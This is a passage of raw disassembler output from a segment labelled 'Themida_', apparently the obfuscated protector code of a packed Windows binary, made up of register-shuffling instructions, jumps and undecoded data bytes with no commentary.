dd 0C481243Ch, 4, 8B66C331h, 24E92414h
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FB13: ; CODE XREF: Themida_:00557529j
sub ecx, 1ADF3764h
sub ecx, edi
add ecx, 1ADF3764h
pop edi
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_55C555
; ---------------------------------------------------------------------------
dd 5783C281h, 0E2C1685Fh, 55525302h, 0FF177DBDh, 6164BA28h
dd 0EA2967D5h, 5B9515Dh, 515DE935h, 59241CF7h, 65C98149h
dd 0E956107Ch, 2DEFh, 5502EBC1h, 88259CBDh, 0F9ED813Bh
dd 562EB81Fh, 689ABD55h, 5CBE7A8Dh, 3139DE11h, 0CE815DEEh
dd 75822F80h, 6580EE81h, 0EE81202Ch, 2280DF00h, 0E95EF501h
dd 9C94h
; ---------------------------------------------------------------------------
loc_54FB98: ; CODE XREF: Themida_:00558E61j
add ecx, 0E43DB1E5h
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
mov ebp, ecx
jmp loc_55DEDE
; ---------------------------------------------------------------------------
db 1
aXsso db 'ÁXSéo',7,0
align 4
dd 0E9243C31h, 417Fh
; ---------------------------------------------------------------------------
loc_54FBCC: ; CODE XREF: Themida_:00550231j
pop ecx
sub ebx, 79DC08DEh
push 3D6Dh
mov [esp], esi
mov esi, 10CF7BE8h
and ebx, esi
pop esi
jmp loc_54F83E
; ---------------------------------------------------------------------------
dd 4BC5814Dh, 29410A5Ah, 4CE95DEBh, 810000F9h, 0EF4281F2h
dd 569E91Ch, 15B0000h, 23E951D0h
db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FC0B: ; CODE XREF: Themida_:0055C693j
add eax, 294A4D8Ch
sub eax, esi
sub eax, 294A4D8Ch
jmp loc_54FC3A
; ---------------------------------------------------------------------------
dd 4F073558h, 685605FDh, 3D65h, 0BD242C89h, 79C42388h
dd 89EB8953h, 71E1E9DEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FC3A: ; CODE XREF: Themida_:0054FC17j
push dword ptr [esp]
jmp loc_5552FD
; ---------------------------------------------------------------------------
dw 0C183h
dd 240C8704h, 11402E9h
db 0
; ---------------------------------------------------------------------------
loc_54FC4D: ; CODE XREF: Themida_:00557DB3j
sub ecx, 2
xchg ecx, [esp]
mov esp, [esp]
mov [esp], dx
push eax
jmp loc_556407
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 63626800h, 1C890000h, 0BF575524h, 46050CB7h, 8302EFC1h
dd 48904ECh, 0E2BB5324h, 89613C19h, 22FEE9D8h, 0D0F70001h
dd 0AC3F8B35h, 58C1893Dh, 0E959C829h, 0C0Eh
; ---------------------------------------------------------------------------
loc_54FCA0: ; CODE XREF: Themida_:0055A47Fj
inc edi
neg edi
add edi, 2DFA8BDCh
add ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_55105E
; ---------------------------------------------------------------------------
db 57h, 0BFh, 77h
dd 0E9049E13h, 0FFFFEFE0h
; ---------------------------------------------------------------------------
loc_54FCC4: ; CODE XREF: Themida_:00556A08j
sub edi, 84B6899h
add edi, ebx
add edi, 84B6899h
mov ebx, [esp]
add esp, 4
push eax
mov eax, 2
add edi, eax
jmp loc_55C9CE
; ---------------------------------------------------------------------------
aPsdj db 'PéDJ',0
dw 0FF00h
dd 0E9042474h, 85A6h
; ---------------------------------------------------------------------------
loc_54FCF4: ; CODE XREF: Themida_:0054F69Ej
pop ebp
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_55AB59
; ---------------------------------------------------------------------------
db 81h, 0EBh, 2Eh
dd 0F74B3727h, 0E0E951DBh, 0AD000003h, 10011E9h, 2434FF00h
dd 8324048Bh, 88E904ECh, 5C00006Ah, 0E956D800h, 0FFFFF4C8h
dd 8B2434FFh, 0C4812404h, 4, 0FFECBDE9h, 4E3C0FFh, 8046E380h
dd 0D82897F3h, 83241C8Bh, 9F0404C4h, 0D2E9D828h
db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FD6B: ; CODE XREF: Themida_:00551CCDj
pop dword ptr [esp]
pop esp
mov [esp], ecx
push eax
mov eax, 6EA03E15h
shr eax, 6
sub eax, 5B1E2657h
sub esp, 4
mov [esp], esi
push ebx
mov ebx, 8CD80392h
jmp loc_55F6BD
; ---------------------------------------------------------------------------
dd 685Dh, 0F9E90000h, 0AC00011Fh, 8AECE9h, 0E6895600h
dd 4C681h, 0EE810000h, 4, 5C243487h, 83241C89h, 148904ECh
dd 35436824h, 83E96351h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FDCB: ; CODE XREF: Themida_:005527FFj
mov ebx, eax
pop eax
push 72B0h
mov [esp], edx
jmp loc_558603
; ---------------------------------------------------------------------------
loc_54FDDB: ; CODE XREF: Themida_:005575D2j
pop esi
add esp, 4
sub eax, ecx
push dword ptr [esp]
pop ecx
push edi
jmp loc_55A48B
; ---------------------------------------------------------------------------
db 68h
dd 153h, 0B4D9E9h
db 0
; ---------------------------------------------------------------------------
loc_54FDF5: ; CODE XREF: Themida_:00561FF1j
or edx, 6A7D70F0h
sub edx, 0FFFFFFFFh
sub edx, 0FB7F7CF6h
add ebp, edx
mov edx, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
push edx
push esp
jmp loc_5585A7
; ---------------------------------------------------------------------------
dw 5559h
dd 89505D5Eh, 58C589F0h, 0CB7CE95Eh, 0F4680000h, 89000057h
dd 0D8892404h, 0E958C289h, 314h, 0B20C5CB9h, 59CA211Ah
dd 0DAF74A4Ah, 11658E9h
db 0
; ---------------------------------------------------------------------------
loc_54FE4D: ; CODE XREF: Themida_:00551549j
push 46BC261Fh
pop ecx
sub esi, ecx
jmp loc_551DF3
; ---------------------------------------------------------------------------
dw 0EE89h
dd 2DFDE9h, 0ABB15100h, 0C8282304h, 0C8B232Ch, 4C48124h
dd 2C000000h, 612CBFh, 0E96104F8h, 10A3h, 83241C89h, 22E904ECh
dd 810000F1h, 207440C3h, 2EB8135h, 0E916574Fh, 409Fh, 0FFDF24E9h
dd 2474FFFFh, 2434FF04h, 582434FFh, 10749E9h
db 0
; ---------------------------------------------------------------------------
loc_54FEB1: ; CODE XREF: Themida_:00551978j
pop edi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
xor ebx, eax
movzx ax, byte ptr [eax]
jmp loc_552997
; ---------------------------------------------------------------------------
dw 34FFh
dd 241C8B24h, 106A7E9h, 241C8B00h, 57E28952h, 4BFh, 5FFA0100h
dd 102C2E9h, 1B256800h, 348B05DDh, 4C48324h, 38EAE9h, 81EBD100h
dd 0B31742E3h, 5DE3817Ah, 0E92D6D1Dh, 10DC3h, 0E924248Bh
dd 1263Bh, 8124348Bh, 4C4h, 5AD50100h, 5F0C68h, 4EDBE900h
dd 0DA290000h, 6EB1E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FF3E: ; CODE XREF: Themida_:005531D8j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_551046
; ---------------------------------------------------------------------------
dd 8B66D328h, 15E92414h
db 9Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FF57: ; CODE XREF: Themida_:0055EBBFj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], cx
movzx cx, al
jmp loc_555311
; ---------------------------------------------------------------------------
dw 5158h
dd 8B6518B9h, 1CF18108h, 1088B65h, 240C8BC8h, 4C481h, 70680000h
dd 89000009h, 0E9542404h, 1F99h, 0EEC030B6h, 0E224E903h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FF9E: ; CODE XREF: Themida_:0054EBCBj
mov ebx, 4F9205BDh
shr ebx, 6
add ebx, 0FEC1B7EEh
add ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55BFBF
; ---------------------------------------------------------------------------
aHub_0 db ']hîb',0
dw 8900h
dd 6368241Ch, 5B2FA369h, 9419E9h, 81D6F700h, 372284EEh
dd 8BF301C9h, 0C4812434h, 4, 851EB81h, 22E972C1h, 5800006Ah
dd 34FFF001h, 5D9BE924h, 0D7290000h, 6F9E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FFFE: ; CODE XREF: Themida_:00550A77j
mov ebp, edx
pop edx
push ecx
mov ecx, ebp
mov esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
pop ebp
push 1191h
mov [esp], esi
sub dword ptr [esp], 4386018Fh
pop eax
add eax, 4386018Fh
pop esi
push edx
mov edx, esp
push esi
jmp loc_55EE9F
; ---------------------------------------------------------------------------
dd 8F04C483h, 5B5C2404h, 0FFEACFE9h, 0D00159FFh, 0F0BE565Ah
dd 816F4927h, 13E1CEEh, 8E6C124h, 0EEC1D6F7h, 76C68103h
dd 0E931373Fh, 2ABh, 4EC81h, 3C890000h, 81E78924h, 4C7h
dd 4C78300h, 5C243C87h, 26AEE953h, 34870000h, 0E9525C24h
dd 0FFFFFF0Ch, 367EC381h, 0BD551318h, 5A485ED4h, 0E95DEB21h
dd 0FFFFED7Fh
; ---------------------------------------------------------------------------
loc_55009C: ; CODE XREF: Themida_:0055D605j
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], esi
jmp loc_5522A4
; ---------------------------------------------------------------------------
loc_5500B9: ; CODE XREF: Themida_:005565C1j
push dword ptr [edi+eax*4]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55861C
; ---------------------------------------------------------------------------
loc_5500CA: ; CODE XREF: Themida_:00559BC6j
mov [esp], eax
push esp
pop eax
push ebx
push esp
pop ebx
push esi
push ebx
mov ebx, 4
mov esi, ebx
pop ebx
add ebx, esi
jmp loc_55615B
; ---------------------------------------------------------------------------
loc_5500E3: ; CODE XREF: Themida_:0056070Cj
mov esi, ecx
pop ecx
pop ebp
and eax, esi
push dword ptr [esp]
mov esi, [esp]
jmp loc_5532E1
; ---------------------------------------------------------------------------
dd 0C8EB80h, 9AB151C3h, 70E9D1F6h, 0B9000016h, 19AE23BFh
dd 840FE981h, 0CB2985C6h, 0E3814B59h, 5E220356h, 8904EC83h
dd 0EAB82404h, 5700ED21h, 414A1FBFh, 5E7C10Fh, 0FFDDF6E9h
dd 15E956FFh
db 33h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550137: ; CODE XREF: Themida_:0055A605j
push ebp
push 3CB87A99h
pop ebp
jmp loc_551F0C
; ---------------------------------------------------------------------------
aUs db 'UéÑ^',0
db 0
; ---------------------------------------------------------------------------
loc_550149: ; CODE XREF: Themida_:0055EA35j
inc edx
push esi
jmp loc_55D8A5
; ---------------------------------------------------------------------------
dd 0FFD7295Bh, 535A2434h, 0C381E389h, 4, 4C381h, 0D1E90000h
dd 29000076h, 596AE9D6h, 34330000h, 24343124h, 8B243433h
dd 89532424h, 22E268E3h, 2C890000h, 4BD24h, 37E90000h
dd 1000073h, 0E5C181D1h, 5A4B7E73h, 0E9240C87h, 0C3CCh
dd 233AF781h, 1E975CDh, 0BA000045h, 4, 5C1CBD55h, 0ED8104EEh
dd 13AF7A5Ch, 0D105EDC1h, 0B1C581E5h, 0E9FD8375h, 0E016h
; ---------------------------------------------------------------------------
loc_5501D0: ; CODE XREF: Themida_:00562731j
sub ecx, 39315FA9h
sub ecx, 9B6960A3h
and esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_561A9C
; ---------------------------------------------------------------------------
dd 55241489h, 176DCBBDh, 5352455Ah, 51367E68h, 0C3815B20h
dd 99FF3CBh, 9DD4E9h
db 0
; ---------------------------------------------------------------------------
loc_550209: ; CODE XREF: Themida_:00552E4Dj
xchg esi, [esp]
pop esp
add eax, 49CC3272h
add eax, ebx
sub eax, 49CC3272h
push dword ptr [esp]
pop ebx
add esp, 4
push edi
push esi
jmp loc_5597A6
; ---------------------------------------------------------------------------
a1Zs9 db '1ÓZé9)',0
db 0
; ---------------------------------------------------------------------------
loc_55022F: ; CODE XREF: Themida_:00556532j
mov ebx, ecx
jmp loc_54FBCC
; ---------------------------------------------------------------------------
aISvl db '‰$$é‚‹',0
align 2
dw 0C581h
dd 137E53B1h, 0DA66F581h, 0EA296048h, 0E957515Dh, 10B36h
; ---------------------------------------------------------------------------
loc_550254: ; CODE XREF: Themida_:0055D976j
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_54F000
; ---------------------------------------------------------------------------
loc_550265: ; CODE XREF: Themida_:0054E5FEj
add dword ptr [esp+4], 7E346ED4h
jmp loc_559D55
; ---------------------------------------------------------------------------
loc_550272: ; CODE XREF: Themida_:0054F399j
push 0D8Fh
mov [esp], esi
jmp loc_5597D5
; ---------------------------------------------------------------------------
db 9
dd 81435EF3h, 74B761EBh, 0E9DA0995h, 5C30h, 5C241C87h
dd 24AAE9h, 0C8C6800h, 0C890000h, 50E18924h, 0F810B8B8h
dd 56DE961h, 248B0001h, 48F5424h, 24048124h, 4, 5624048Fh
dd 4BEh, 0E79DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5502CA: ; CODE XREF: Themida_:00558224j
xor [esp], edi
jmp loc_559BCB
; ---------------------------------------------------------------------------
loc_5502D2: ; CODE XREF: Themida_:005609AFj
add ebx, 747923D3h
sub ebx, 7D1F7F32h
mov esi, [esp]
push 5903h
jmp loc_554916
; ---------------------------------------------------------------------------
aDTH db '¿d`â~h',0
align 4
dd 0AC5BE900h, 814E0000h, 0D42305C6h, 5EF70171h, 52E9DFF7h
dd 81FFFFF7h, 0ED5BD0F6h, 5DBA526Fh, 0E95C6B78h, 0F2B8h
; ---------------------------------------------------------------------------
loc_55031C: ; CODE XREF: Themida_:00552E06j
sub esp, 4
mov [esp], esi
jmp loc_553827
; ---------------------------------------------------------------------------
loc_550327: ; CODE XREF: Themida_:0054F090j
pop esp
jmp loc_55562F
; ---------------------------------------------------------------------------
db 57h, 0E9h, 3
dd 0BB000056h, 0
dd 0D989CB29h, 0C1D1F75Bh, 0E98105E1h, 0FFE7B262h, 0E959CA01h
dd 0FFFFF666h, 22B168h, 24148900h, 0F03126BAh, 5AD0294Fh
dd 0A605E9h, 0DA5BE900h, 0CF80FFFFh, 80CFFE04h, 0FA20CDF7h
dd 0E951665Bh, 0FFFFEB74h
; ---------------------------------------------------------------------------
loc_55037C: ; CODE XREF: Themida_:0055EE5Cj
xor dword ptr [esp], 615E3795h
pop esi
xor esi, 615E3795h
mov eax, esi
pop esi
jmp loc_5581CE
; ---------------------------------------------------------------------------
loc_550392: ; CODE XREF: Themida_:0055973Dj
sub ecx, 4
xor ecx, [esp]
jmp loc_55E665
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aHs db '$h˜',8,0
align 2
dw 1489h
dd 56E28924h, 4BEh, 59B85000h, 0E934165Eh, 8578h, 0EA81EA01h
dd 5F168A2h, 56242C8Bh, 0C681E689h, 4, 4B951h, 0CE010000h
dd 24348759h, 7A23E95Ch, 34890000h, 0E9E68924h, 0BB47h
dd 9D1C77FFh, 14D25966h, 0CAE99C24h, 2DFFFFD9h, 0EC0DF463h
dd 0D9EDE9h
db 0
; ---------------------------------------------------------------------------
loc_550405: ; CODE XREF: Themida_:0055B1C2j
and eax, esi
mov esi, [esp]
add esp, 4
or eax, eax
jz loc_55F2A7
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push ebx
jmp loc_55D79C
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0EA6CA168h, 0BB685B76h, 581F584Eh, 1C8BD831h, 4C48324h
dd 5607E0C1h, 0BA4FD1BEh, 5EF02174h, 0D241825h, 0D043E96Eh
dd 8B660000h, 7068240Ch, 89000060h, 0E0892404h, 507FBB53h
dd 0AAE97FF4h, 81FFFFF8h, 4C2h, 4C28100h, 0E9000000h, 55C5h
; ---------------------------------------------------------------------------
loc_55047C: ; CODE XREF: Themida_:005608EBj
xor eax, ebp
jmp loc_55E6E1
; ---------------------------------------------------------------------------
db 66h
dd 348BF001h, 4C48324h, 66C50166h, 2434FF58h, 0A55CE9h
db 0
; ---------------------------------------------------------------------------
loc_550499: ; CODE XREF: Themida_:00554E77j
push dword ptr [esp+4]
pop edx
jmp loc_54E799
; ---------------------------------------------------------------------------
db 58h
dd 0FFE462E9h, 81EA01FFh, 0DA5C9EC2h, 242C8B1Ah, 8304C483h
dd 0A06804C2h, 8900000Fh, 74FF2414h, 34FF0424h, 0C4835A24h
dd 24048F04h, 0E924248Bh, 107B1h
; ---------------------------------------------------------------------------
loc_5504D8: ; CODE XREF: Themida_:0056214Dj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
add esp, 4
jmp loc_559BB3
; ---------------------------------------------------------------------------
loc_5504EA: ; CODE XREF: Themida_:0055EDE8j
and ebp, 0CDD222Dh
xor ebp, 3D163692h
jmp loc_55A5E4
; ---------------------------------------------------------------------------
db 29h
dd 24048BC2h, 8104C483h, 2219D8C2h, 0D8B7E91Fh, 0F66FFFFh
dd 6866C8BEh, 896623A2h, 0A6E9240Ch, 8BFFFFD8h, 8957241Ch
dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 8124248Bh, 4C3h
dd 55BD5500h, 0C150A472h, 0E58106E5h, 2DBA33E1h, 113EED81h
dd 0D6E92918h, 0C100007Ah, 0C98105E9h, 73AE3F44h, 0AA77E981h
dd 0CA01460Fh, 5AD62959h, 1753C681h, 14E92697h, 5F000102h
dd 672C68h, 240C8900h, 4B9h, 59CF0100h, 4C781h, 3C870000h
dd 24248B24h, 1139BE9h, 25CE8100h, 8145CB4Bh, 0FFFB7BEEh
dd 0E9F101FDh, 10230h
; ---------------------------------------------------------------------------
loc_5505AC: ; CODE XREF: Themida_:00559372j
mov ebp, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_55CB66
; ---------------------------------------------------------------------------
loc_5505BD: ; CODE XREF: Themida_:00553A6Bj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 6428538Dh
add ebp, 0D6117E4h
mov edi, ebp
jmp loc_561344
; ---------------------------------------------------------------------------
db 66h, 81h, 0F2h
dd 966CEBBh, 81665AD5h, 66192CF5h, 4DFAEB81h, 4DC38166h
dd 0EB29663Eh, 4DEB8166h, 0C381663Eh, 0C4E94DFAh, 81FFFFF2h
dd 325800C3h, 81FB010Fh, 325800EBh, 75BE560Fh, 296CB428h
dd 3C8B5EF3h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
dd 4B8505Ch, 81000000h, 2C4653C3h, 89EB813Bh, 144CB21h
dd 0C617E9C3h, 0B9510000h, 212D6B64h, 8159CE89h, 232EC8F6h
dd 81D6F767h, 2557DECEh, 0E9D6F77Fh, 37F8h, 665BDD30h
dd 819B353h, 1C8B66DDh, 2C48324h, 8072ED80h, 0CD8064F5h
dd 0E1B050C7h, 420CC0FEh, 9350E9h, 81F50100h, 0F94807EDh
dd 24348B14h, 6101E9h, 8B5B5000h, 0C4832404h, 8BDF0104h
dd 5DE9241Ch
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5506B3: ; CODE XREF: Themida_:00551086j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_55EDD3
; ---------------------------------------------------------------------------
dw 0EA31h
dd 4EC815Dh, 0E9000000h, 0FFFFEDC3h, 536E63BEh, 0C00BE91Eh
dd 3C8B0000h, 4C48124h, 0E9000000h, 8450h, 33241431h, 0D4E92414h
dd 81FFFFE5h, 0A68736EFh, 5FFE89C0h, 158AEE81h, 0F30128C0h
dd 8124348Bh, 4C4h, 241C8700h, 0FF24248Bh, 0D6A7E930h
dd 0EA81FFFFh, 1FDE1A7Dh, 0C281EA01h, 1FDE1A7Dh, 639C281h
dd 835D6E5Bh, 148904ECh, 34FF5E24h, 0C4835A24h, 24743104h
dd 0D1E95E04h, 81FFFFF4h, 0AAF6CDEAh, 81525071h, 3B1D2434h
dd 355845D3h, 45D33B1Dh, 5A58C789h, 0E959CF01h, 7958h
dd 53525A5Ah, 810FA668h, 585DE91Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55077A: ; CODE XREF: Themida_:00554E57j
push ebp
push 292C4A5Fh
pop ebp
shl ebp, 2
add ebp, 25A14F60h
xor ebp, 0DF945C8h
push ecx
mov ecx, 806F2D44h
xor ebp, ecx
jmp loc_55552D
; ---------------------------------------------------------------------------
db 0BEh, 4, 0
dd 57E90000h, 89000087h, 0ECB82404h, 50C98DF4h, 0A2242C81h
dd 8B3F2E1Eh, 0C483242Ch, 11BA5204h, 0C162BA17h, 60E905EAh
dd 830000B7h, 8F5404ECh, 4812404h, 424h, 2434FF00h, 4C4835Bh
dd 0D86E9h, 4C78100h, 83000000h, 3C3304C7h, 0F8DFE924h
dd 565A0000h, 7863A6BEh, 0FDF68116h, 0E926E92Ah, 7356h
dd 535EF101h, 0D31B46BBh, 2CC78159h, 12A6A62h, 2CEF81DFh
dd 8B2A6A62h, 0C483241Ch, 53CF0104h, 5C70E9h, 0D0295800h
dd 5724148Bh, 0E956E789h, 1CD7h, 5303E2C1h, 0E81D0CBBh
dd 2C7E979h, 0EB810001h, 0E70173Fh, 54FBC381h, 0C3817D28h
dd 6CEE5543h, 8957C301h, 68EEE9E7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550866: ; CODE XREF: Themida_:0055FD96j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
push 4
pop ecx
sub eax, ecx
pop ecx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5573D8
; ---------------------------------------------------------------------------
dd 6186C281h, 0C2816BC7h, 0B191AE9Fh, 148BD601h, 359FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5508A6: ; CODE XREF: Themida_:0055E27Bj
pop edx
xor ebx, ebp
jmp loc_55E2CB
; ---------------------------------------------------------------------------
dw 487h
dd 3C895C24h, 1329E924h, 0ED810000h, 0FF2A03h, 0A752E9h
db 0
; ---------------------------------------------------------------------------
loc_5508C5: ; CODE XREF: Themida_:0055949Aj
mov [esp], eax
mov eax, 4
jmp loc_55E0E5
; ---------------------------------------------------------------------------
loc_5508D2: ; CODE XREF: Themida_:005558C9j
add esp, 4
xchg eax, ebx
neg ebx
xchg eax, ebx
add eax, 53690287h
push ebx
mov ebx, 1FFB4106h
sub edx, ebx
pop ebx
add edx, eax
jmp loc_55FDDC
; ---------------------------------------------------------------------------
dw 1C31h
dd 241C3324h, 0BC40E9h
db 0
; ---------------------------------------------------------------------------
loc_5508F9: ; CODE XREF: Themida_:005560EAj
xor [esp], eax
sub esp, 4
mov [esp], eax
sub esp, 4
jmp loc_550913
; ---------------------------------------------------------------------------
loc_55090D: ; CODE XREF: Themida_:005522C5j
push esi
jmp loc_54EA30
; ---------------------------------------------------------------------------
loc_550913: ; CODE XREF: Themida_:00550908j
mov [esp], edi
pop eax
jmp loc_554442
; ---------------------------------------------------------------------------
dd 4BAh, 5AD30100h, 0AEB0E9h, 0D0E95800h, 8100000Ch, 2C7B57C2h
dd 81D2F758h, 0DCEE11F2h, 8BD1898Eh, 0C4832414h, 0E579E904h
dd 0D0290000h, 257B7305h, 4EC812Eh, 0E9000000h, 855h, 68D830ACh
dd 7353h, 0E9243489h, 0E370h
; ---------------------------------------------------------------------------
loc_55096C: ; CODE XREF: Themida_:00555635j
xor esi, [esp]
mov esp, [esp]
movzx cx, al
push 4CE5h
mov [esp], ebx
push 6D4Dh
push esp
jmp loc_55BD95
; ---------------------------------------------------------------------------
loc_550989: ; CODE XREF: Themida_:005544A8j
push dword ptr [esp]
jmp loc_55FEDF
; ---------------------------------------------------------------------------
loc_550991: ; CODE XREF: Themida_:0055E19Dj
push edi
jmp loc_554F3C
; ---------------------------------------------------------------------------
db 5Eh
dd 53E9F501h, 8A000094h, 0C4832414h, 0F7C28002h, 148BD130h
dd 4C48324h, 36BAE9h, 4C48100h, 81000000h, 4C1h, 4BD5500h
dd 1000000h, 0FF515DE9h, 59042474h, 0B028E9h
db 0
; ---------------------------------------------------------------------------
loc_5509D5: ; CODE XREF: Themida_:0054E2AFj
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_551A60
; ---------------------------------------------------------------------------
dw 0D9F6h
dd 9356E9h
db 0
; ---------------------------------------------------------------------------
loc_5509E9: ; CODE XREF: Themida_:0055B357j
pop eax
dec ebp
add ebp, 0C3B6F699h
push ebp
sub dword ptr [esp], 609E72E3h
jmp loc_54E32F
; ---------------------------------------------------------------------------
dw 34FFh
dd 0E9575E24h, 0F414h
; ---------------------------------------------------------------------------
loc_550A08: ; CODE XREF: Themida_:0055DDC4j
mov [esp], edi
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
jmp loc_54E468
; ---------------------------------------------------------------------------
loc_550A1B: ; CODE XREF: Themida_:0055D7C1j
push eax
jmp loc_55D73C
; ---------------------------------------------------------------------------
dd offset dword_5AB468
align 2
dw 3489h
dd 0F15BE24h, 0F789400Fh, 0E9F8295Eh, 4C02h, 15DEA89h
dd 0D3295BDAh, 81E9E9h, 87D5F700h, 0B9BE56EAh, 4E1C0D19h
dd 7E1C681h, 0F231E04Eh, 0C8ED815Eh, 17D0239h, 0C8C581D5h
dd 5A7D0239h, 4B850h, 0C5010000h, 11067E9h
db 0
; ---------------------------------------------------------------------------
loc_550A75: ; CODE XREF: Themida_:0055691Fj
mov edx, ebx
jmp loc_54FFFE
; ---------------------------------------------------------------------------
dd 4C381h, 0EB810000h, 4, 5C241C87h, 0F7241C89h, 0E95B2414h
dd 66CDh, 240CD366h, 5458E99Ch, 0E9560000h, 1071Dh, 243C8759h
dd 2024248Bh, 0E99C2404h, 0C443h
; ---------------------------------------------------------------------------
loc_550AB8: ; CODE XREF: Themida_:00560E0Ej
neg eax
push edx
mov edx, 2B214FF6h
sub eax, edx
pop edx
mov edx, eax
mov eax, [esp]
add esp, 4
push 77C1h
mov [esp], ebx
jmp loc_55650A
; ---------------------------------------------------------------------------
db 29h
dd 46C681FEh, 0E90FA272h, 0B158h, 4C481h, 12680000h, 0E9000008h
dd 1C41h
; ---------------------------------------------------------------------------
loc_550AF8: ; CODE XREF: Themida_:00553D46j
sub edx, 790912C9h
push 603Ah
jmp loc_55A3C7
; ---------------------------------------------------------------------------
loc_550B08: ; CODE XREF: Themida_:00555578j
pop ebx
pop ebp
or ebx, 1ADF13DFh
push esi
jmp loc_5596FA
; ---------------------------------------------------------------------------
loc_550B16: ; CODE XREF: Themida_:00550C8Ej
push dword ptr [esp]
pop esi
push 4C0Bh
mov [esp], edi
push esp
jmp loc_558E11
; ---------------------------------------------------------------------------
loc_550B28: ; CODE XREF: Themida_:00551134j
sub edi, 7F47B1C8h
jmp loc_55B25E
; ---------------------------------------------------------------------------
db 35h
dd 2C700ED6h, 9C58E9h, 0FFE95900h, 89000053h, 74FF2434h
dd 8F5E0424h, 665C2404h, 83240C8Bh, 0F6E904ECh
db 89h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550B5B: ; CODE XREF: Themida_:00557315j
add ecx, esi
pop esi
jmp loc_552F00
; ---------------------------------------------------------------------------
db 0C1h
dd 0EC8304E7h, 24348904h, 0D31B26BEh, 8D8E949h, 4310001h
dd 24043324h, 11546E9h, 4B95100h, 29000000h, 348759CEh
dd 24895C24h, 24048124h, 4, 8BEAE9h, 24143300h, 33241431h
dd 248B2414h, 0F53BE924h, 28F0000h, 0FFD210E9h, 0E9D8F7FFh
dd 0ECFh, 405E089h, 55000000h, 4D4AB951h, 0E9C1759Ch, 7DDBE904h
dd 3C8B0000h, 0D379E924h, 0E589FFFFh, 4C581h, 80E90000h
dd 0D1000023h, 5516E9E1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550BEE: ; CODE XREF: Themida_:0055399Fj
mov edi, ecx
pop ecx
pop eax
jmp loc_5536BF
; ---------------------------------------------------------------------------
db 58h
dd 4245401h, 4244481h, 35632B5Fh, 2404015Ah, 16E968h, 24048900h
dd 0A771C268h, 44295855h, 48B0424h, 0D94BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550C22: ; CODE XREF: Themida_:0054EBE7j
xor dword ptr [esp], 5F53067h
pop esi
xor esi, 5F53067h
jmp loc_551112
; ---------------------------------------------------------------------------
db 5Fh, 87h, 4
aSU db '$éË“',0
align 2
loc_550C3E: ; CODE XREF: Themida_:0055BC30j
pop ebp
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
push 69F36673h
pop edx
and edx, 6B811055h
shr edx, 4
shr edx, 6
push esi
mov esi, 32E30261h
push ebp
mov ebp, 684257h
shr ebp, 4
sub ebp, 1
inc ebp
neg ebp
inc ebp
push esi
mov esi, 1A605FEEh
inc esi
jmp loc_55B9A4
; ---------------------------------------------------------------------------
loc_550C81: ; CODE XREF: Themida_:0055458Cj
xor ch, 7Ch
sub al, 0A1h
jmp loc_557CBB
; ---------------------------------------------------------------------------
loc_550C8B: ; CODE XREF: Themida_:0055E2C6j
pop esp
and eax, esi
jmp loc_550B16
; ---------------------------------------------------------------------------
dd offset dword_54C43C+44h
db 0E3h
dd 11144E9h, 5AE9BE00h, 0F73144A7h, 0E9F9295Eh, 6ABEh
dd 4BBh, 0C0ED8100h, 114C90Dh, 0C0C581DDh, 0E914C90Dh
dd 0AB36h, 4B850h, 44010000h, 0D5E90424h, 33000079h, 248B242Ch
